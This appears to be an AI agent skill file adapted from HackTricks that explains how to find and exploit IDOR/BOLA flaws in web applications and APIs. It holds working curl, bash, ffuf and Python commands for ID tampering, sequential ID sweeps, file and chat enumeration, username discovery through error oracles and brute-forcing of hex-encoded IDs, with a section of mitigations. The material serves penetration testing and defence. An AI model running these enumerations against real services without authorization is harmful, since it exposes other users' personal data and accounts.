Hacktricks-skills idor-bola-testing

How to find and exploit IDOR (Insecure Direct Object Reference) and BOLA (Broken Object Level Authorization) vulnerabilities in web applications and APIs. Use this skill whenever the user mentions IDOR, BOLA, authorization testing, object-level access control, parameter tampering, user ID enumeration, or wants to test if endpoints properly verify that callers are authorized to access specific objects. Make sure to use this skill for any web security testing involving user IDs, order IDs, file IDs, or any object references in URLs, query parameters, request bodies, or headers.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/idor/SKILL.MD
source content

IDOR/BOLA Testing Skill

This skill helps you identify and exploit Insecure Direct Object Reference (IDOR) and Broken Object Level Authorization (BOLA) vulnerabilities in web applications and APIs.

What is IDOR/BOLA?

IDOR/BOLA occurs when a web or API endpoint accepts a user-controllable identifier that is used directly to access an internal object without verifying that the caller is authorized to access or modify that object.

Impact:

  • Horizontal privilege escalation (access other users' data)
  • Vertical privilege escalation (gain admin functionality)
  • Mass data breaches (sequential IDs)
  • Account takeover (steal tokens, reset passwords)

1. Finding Potential IDORs

Step 1: Identify Object References

Look for parameters that reference objects in these locations:

URL Path:

  • /api/user/1234
  • /files/550e8400-e29b-41d4-a716-446655440000

Query Parameters:

  • ?id=42
  • ?invoice=2024-00001

Request Body (JSON):

{"user_id": 321, "order_id": 987}

Headers/Cookies:

  • X-Client-ID: 4711

Step 2: Prioritize Endpoints

Focus on endpoints that read or update data:

  • GET
    - data retrieval
  • PUT
    /
    PATCH
    - data modification
  • DELETE
    - data removal

Step 3: Check ID Predictability

Note when identifiers are sequential or predictable:

  • If your ID is
    64185742
    , then
    64185741
    probably exists
  • Auto-increment IDs are high-risk
  • UUIDs/ULIDs are lower-risk but still testable

Step 4: Test with Low-Privilege Session

  1. Authenticate as a low-privilege user
  2. Change only the ID parameter
  3. Keep the same token/cookie
  4. No authorization error = likely IDOR

2. Manual Testing

Basic ID Tampering

Use Burp Repeater or curl to modify object IDs:

# Example: Modify lead_id to access another user's data
curl -X PUT 'https://target.com/api/lead/cem-xhr' \
     -H 'Content-Type: application/json' \
     -H "Cookie: auth=$YOUR_SESSION" \
     -d '{"lead_id":64185741}'

What to look for:

  • Same response structure with different user's data
  • No 403/401 errors when accessing other users' objects
  • JWT tokens or session data in responses

3. Automated Enumeration

Sequential ID Enumeration

For predictable numeric IDs, enumerate the range:

# Sequential ID sweep
for id in $(seq 64185742 64185700); do
  curl -s -X PUT 'https://target.com/api/lead/cem-xhr' \
       -H 'Content-Type: application/json' \
       -H "Cookie: auth=$TOKEN" \
       -d '{"lead_id":'$id'}' | jq -e '.email' && echo "Hit $id";
done

File Download ID Enumeration (ffuf)

For file hosting panels with endpoints like

/download.php?id=<int>
:

ffuf -u http://target.com/download.php?id=FUZZ \
  -H "Cookie: PHPSESSID=<session>" \
  -w <(seq 0 6000) \
  -fr 'File Not Found' \
  -o hits.json

# Extract valid URLs
jq -r '.results[].url' hits.json

Key flags:

  • -fr
    removes 404-style responses, keeping only true hits
  • -o
    saves results for post-processing

Multi-Parameter ID Fuzzing

For endpoints accepting multiple IDs (e.g., chat between users):

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
  -w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
  -H 'Cookie: PHPSESSID=<session>' \
  -ac -o chats.json -of json

# Remove symmetric duplicates (A,B) vs (B,A)
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-Response Oracle Enumeration

When endpoints return different errors for different conditions:

# Enumerate valid usernames via error messages
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
  -b 'PHPSESSID=<session-cookie>' \
  -w /opt/SecLists/Usernames/Names/names.txt \
  -fr 'User not found'

# Once valid users found, request specific files
# /view.php?username=amanda&file=privacy.odt

Error patterns to exploit:

  • Non-existent username → "User not found"
  • Bad filename but valid extension → "File does not exist"
  • Bad extension → validation error

4. Encoded ID Testing

Hex/Base64 Encoded IDs

Encoding does not add entropy. Test encoded IDs:

import requests

def to_hex(s):
    return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
    hex_id = to_hex(band_id)
    r = requests.get("https://target.com/api", params={"id": hex_id})
    if r.ok and "media" in r.text:
        print(band_id, "->", r.json())

Burp Intruder approach:

  1. Build candidate IDs (e.g.,
    [A-Z]-###-###
    )
  2. Use Pitchfork or Cluster Bomb attack
  3. Add payload processing rule → ASCII hex encoding
  4. Grep-match for valid response markers

5. Validation Checklist

After finding a potential IDOR, verify:

  • Can you access data from multiple different users?
  • Does the vulnerability work with different ID ranges?
  • Are there rate limits preventing enumeration?
  • Can you modify data, not just read it?
  • Does it affect admin-only endpoints (vertical escalation)?
  • Are there tokens or session data exposed?

6. Mitigations to Recommend

When reporting IDOR findings, recommend:

  1. Enforce object-level authorization on every request (
    user_id == session.user
    )
  2. Prefer indirect, unguessable identifiers (UUIDv4, ULID) over auto-increment IDs
  3. Perform authorization server-side, never rely on hidden form fields or UI controls
  4. Implement RBAC/ABAC checks in central middleware
  5. Add rate-limiting & logging to detect ID enumeration
  6. Security test every new endpoint (unit, integration, DAST)

7. Tooling

Burp Suite Extensions:

  • Authorize - test authorization across users
  • Auto Repeater - automate request modification
  • Turbo Intruder - high-speed fuzzing

OWASP ZAP:

  • Auth Matrix - test authorization matrices
  • Forced Browse - discover hidden endpoints

Open Source Tools:

  • bwapp-idor-scanner
    - automated IDOR detection
  • Blindy
    - bulk IDOR hunting

Quick Reference

Common IDOR patterns:

  • /api/user/<id>
    - user data access
  • /files/<id>
    - file downloads
  • ?order_id=<id>
    - order information
  • ?invoice=<id>
    - invoice data
  • X-Client-ID: <id>
    - client-specific data

Response indicators of IDOR:

  • Same response structure with different user data
  • No 403/401 when accessing other users' objects
  • JWT tokens or session data in responses
  • Different error messages for different ID types

When to escalate:

  • Mass data exposure (millions of records)
  • Admin functionality accessible
  • Token/session hijacking possible
  • PII or sensitive data exposed